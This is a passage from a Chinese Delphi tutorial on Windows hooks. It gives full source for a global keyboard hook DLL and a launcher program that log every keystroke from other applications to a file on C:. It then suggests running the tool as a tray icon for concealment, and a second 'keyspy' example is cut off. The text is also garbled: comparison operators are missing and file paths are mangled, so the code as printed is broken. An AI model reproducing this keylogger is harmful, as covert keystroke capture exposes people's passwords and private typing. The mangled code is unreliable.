📄 delphi钩子.txt
字号:
信息传递给下一个钩子函数。而且最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。
(3) 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩子,在使用完毕后要及时卸载。
编写钩子程序
编写钩子程序的步骤分为三步:定义钩子函数、安装钩子和卸载钩子。
1.定义钩子函数
钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。不
同事件的钩子函数的形式是各不相同的。下面以鼠标钩子函数举例说明钩子函数的原型:
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信息,
比如是否从消息队列中移出。 我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx.
把钩子信息传递给钩子链的下一个钩子函数。CallNextHookEx.的原型如下:
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
参数 hhk是钩子句柄。nCode、wParam和lParam 是钩子函数。
当然也可以通过直接返回TRUE来丢弃该消息,就阻止了该消息的传递。
2.安装钩子
在程序初始化的时候,调用函数SetWindowsHookEx安装钩子。其函数原型为:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
参数idHook表示钩子类型,它是和钩子函数类型一一对应的。比如,WH_KEYBOARD表示安装的是键盘钩子,
WH_MOUSE表示是鼠标钩子等等。
Lpfn是钩子函数的地址。
HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。
dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。
SetWindowsHookEx返回所安装的钩子句柄。
3.卸载钩子
当不再使用钩子时,必须及时卸载。简单地调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)即可。
值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。线程钩子一般在当前线程或者当前线程派生的线程内,
而系统钩子必须放在独立的动态链接库中,实现起来要麻烦一些。
Delphi - 关于钩子函数HOOK (3)
系统挂钩捕捉键盘操作
在WINDOWS系统下,应用程序常常要截获其他程序的消息,并加以处理(例如跟踪键盘或鼠标的按键状况等)。
现在,我们假设在前台进行正常操作,在后台利用HOOK程序为系统安装一个键盘挂钩,当有按键操作时,
系统发给键盘挂钩对应的消息,而这些消息被HOOK程序截获,并加以相应的处理,这样就可以监视键盘的使用状况了。
一.实现方法
DELPHI提供了强大的可视化集成开发环境,它使得在Windows下的应用程序开发变得更加广泛,
因此我们将用DELPHI编写一个动态链接库,然后在主程序中加以调用以实现系统挂钩的设置。具体步骤如下:
* 用DELPHI创建一个使用键盘挂钩的动态链接库HK.DLL
* 用DELPHI编写一个使用上述DLL的可执行文件HOOK.EXE
二.实现步骤
1.创建动态链接库
* 选择FILE菜单中的NEW选项,选择DLL产生一个新的模板,保存为HK.DPR
library HK .
uses
SysUtils,
Classes,
hkproc in 'hkproc.pas'; //挂钩函数在文件中的定义
exports //DLL的输出函数
EnableHotKeyHook,
DisableHotKeyHook;
begin
hNextHookProc :=0;
Assign(f,'c:.txt');//将捕获的键值存入C盘的“code.txt”文件中
Reset(f); //初始化“code.txt”文件
procSaveExit := ExitProc; //DLL释放时解除挂钩
ExitProc := @HotKeyHookExit;
end.
* 选择FILE菜单中的NEW选项,选择UNIT生成HKPROC.PAS
unit hkproc;
interface
uses
Windows,Messages;
var
f :file of char;
c:char;
i :integer;
j :integer;
hNextHookProc : HHook;
procSaveExit : Pointer;
function KeyboardHookHandler(iCode : Integer;
wParam : WPARAM;
lParam : LPARAM) : LRESULT; stdcall export;
function EnableHotKeyHook : BOOL export
function DisableHotKeyHook : BOOL; export
procedure HotKeyHookExit far
implementation
function KeyboardHookHandler(iCode : Integer;
WParam : WPARAM;
lParam : LPARAM) : LRESULT stdcall export;
const
_KeyPressMask = $80000000
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,
wParam,lParam);
Exit;
end;
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift键的状态
j:=getkeystate($14); //返回Caps Lock键的状态
if((j and 1)=1 )then //判断CapsLock是否按下
begin
//判断Shift 是否按下
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then //判断是字母键还是数字键
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam+32);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam);
end;
end;
end
else
begin
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
begin
c:=chr(wparam-16);
end
else
begin
c:= chr(wparam);
end;
end
else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end
else
begin
c:=chr(wparam+32);
end;
end;
end;
seek(f,FileSize(f));
write(f,c); //将捕获的键码存入文件
end;
end;
function EnableHotKeyHook:BOOL;export;
begin
Result:=False;
if hNextHookProc 0 then exit;
hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
KeyboardHookHandler,Hinstance,0);
Result:=hNextHookProc 0
end;
function DisableHotKeyHook:BOOL; export;
begin
if hNextHookPRoc 0 then
begin
UnhookWindowshookEx(hNextHookProc);
hNextHookProc:=0;
Messagebeep(0);
Messagebeep(0);
end;
Result:=hNextHookPRoc=0;
end;
procedure HotKeyHookExit;
begin
if hNextHookProc 0 then DisableHotKeyHook;
close(f); //关闭文件并自动解除挂钩
ExitProc:=procSaveExit;
end;
end.
* 将程序编译后生成一个名为HK.DLL的动态链接库文件并存入“c:”目录下。
2.创建调用DLL的EXE程序HOOK.EXE
* 选择FILE菜单中的NEW选项,在New Items窗口中,选择Application选项。在窗体Form中,加入两个按键,
一个定义为挂钩,另一个定义为解脱,同时加入一个文本框以提示挂钩的设置状况。将Unit1存为“c:.pas”,其相应的代码如下:
unit hk;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Edit1: TEdit;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function EnableHotKeyHook : BOOL;external 'HK.dll';
//声明HOOK . DLL中的两函数
function DisableHotKeyHook :BOOL;external 'HK.dll';
procedure TForm1.Button1Click(Sender: TObject);
begin
if EnableHotKeyHook() then
begin
edit1.text :='设置挂钩'
end
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if DisableHotKeyHook() then
begin
edit1.Text :='挂钩解脱'
end
end;
end.
* 选取Views菜单中的Project Source,将Project1存为“c:.dpr”,其代码如下:
program hook;
uses
Forms,
hk in 'hk.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
* 编译生成HOOK.EXE 程序并存入“c:”目录下。预先用“记事本”在“c:”目录下建立CODE.TXT文件,
运行HOOK程序并单击“挂钩”键,文本框提示“设置系统挂钩”,这时启动写字板等应用程序,所键入的字
母和数字将被记录在CODE.TXT文件中。
单击“解脱”键,文本框显示“挂钩解脱”,程序将停止对键盘的捕获。
点击示意图
三. 结束语
将上述例子稍加改动,就可为系统安装其他类型的挂钩,同时为了增强程序的隐蔽性,可利用DELPHI中丰富的控件,
将上述程序运行后,只需在屏幕右下部时钟处显示一个图标,就可以跟踪键盘等系统部件的工作状况了。
在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,
一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的
任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的
具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现:
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗
口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;
如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。
1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下:
library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
2.在Hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -